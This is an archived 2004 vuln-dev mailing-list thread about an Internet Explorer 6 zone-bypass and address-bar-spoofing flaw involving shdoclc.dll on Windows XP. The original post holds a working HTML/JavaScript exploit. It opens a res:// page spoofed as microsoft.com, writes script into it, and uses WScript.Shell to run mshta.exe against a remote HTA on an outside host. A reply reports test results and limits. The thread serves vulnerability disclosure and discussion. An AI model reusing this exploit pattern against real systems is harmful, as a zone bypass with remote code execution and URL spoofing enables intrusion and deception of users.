Hi!
A little update: it was without changing your URL to point to the real
shdoclc.dll and under Normal user account. Under Administrator the disk was
renamed, under Normal user I don't have permission to rename disks.
So exploit works with those people who are browsing as administrators and
setup windows to the default directory AND who always press 'Yes' in
security warnings. You really need to find a way to get real %windir% for
exploit to work. Good luck!
Regards,
Vladimir
> -----Original Message-----
> From: V. Poddubnyy [mailto:vpoddubniy_at_mail.ru]
> Sent: Tuesday, July 13, 2004 11:10 PM
> To: 'Bartosz Kwitkowski'; vuln-dev_at_securityfocus.com
> Subject: RE: Windows XP Prof and shdoclc.dll - zone-pass and site
> spoofing
>
> Hi!
>
> Well, in my fully patched IE 60 (Eng) on Win XP Pro Corporate it asked
> me for permission to execute ActiveX, then (I clicked Yes) it said to
> me that access was denied in line 20 of your hta. Execution was
> performed in Internet zone...
>
> Regards,
> Vladimir
>
> > -----Original Message-----
> > From: Bartosz Kwitkowski [mailto:bartosz_at_wb.pl]
> > Sent: Tuesday, July 13, 2004 11:30 AM
> > To: vuln-dev_at_securityfocus.com
> > Subject: Windows XP Prof and shdoclc.dll - zone-pass and
> site spoofing
> >
> >
> >
> > details:
> >
> > OS: Windows XP Prof (fully patched), IE 6.0
> > LANG: Polish (of course).
> >
> > VULN:
> >
> > 1.this is zone-by-pass. Opening IE window is in My Computer zone.
> > You can paste script into this page and it will be executed
> as local.
> > I think this is very serious vuln.
> >
> > 2.site spoofing. You can create spoofed link. User when
> clicking will
> > think he is going to for example microsoft.com.
> > It will open page with microsoft.com URL in address bar.
> You can paste
> > your own page to this window and user won't know this page is
> > spoofed.This is also very serious problem.
> >
> > EXPLOIT:
> >
> > <html><body>
> > <script>
> > klocek = window.open('res://c:\\windows\\system32
> > \\shdoclc.dll/http_404.htm#http://www.microsoft.com','_meia');
> >
> >
> > klocek.document.write("<html><head><title>Microsoft.com</title>");
> > klocek.document.write("</head><body>Site moved to <a
> > href=\"http://wb.pl/bartosz\"> Bartosz Kwitkowski Home Page
> > "+"<"+"/a>:-) Vuln by Bartosz Kwitkowski\n");
> > klocek.document.write("<"+"script>\n");
> > klocek.document.write("alert(\"ATTACKING!\");\n");
> >
> > klocek.document.write("var wsh=new
> > ActiveXObject('WScript.Shell');\n");
> > klocek.document.write("wsh.Run('mshta.exe
> > http://wb.pl/bartosz/hta/start2.hta');\n");
> >
> > klocek.document.write("<"+"/script>\n");
> > klocek.document.write("</body></html>\n");
> >
> >
> > </script>
> > </body></html>
> >
> > ----end--------
> >
> > This is safe exploit so you can execute it if you want...
> > start2.hta contains script which changes your C: disk label to "new
> > label".
> >
> > PS: Sorry my English, but... :-)
> >
> > Best regards,
> > Bartosz Kwitkowski
> >
>
>
Received on Jul 14 2004
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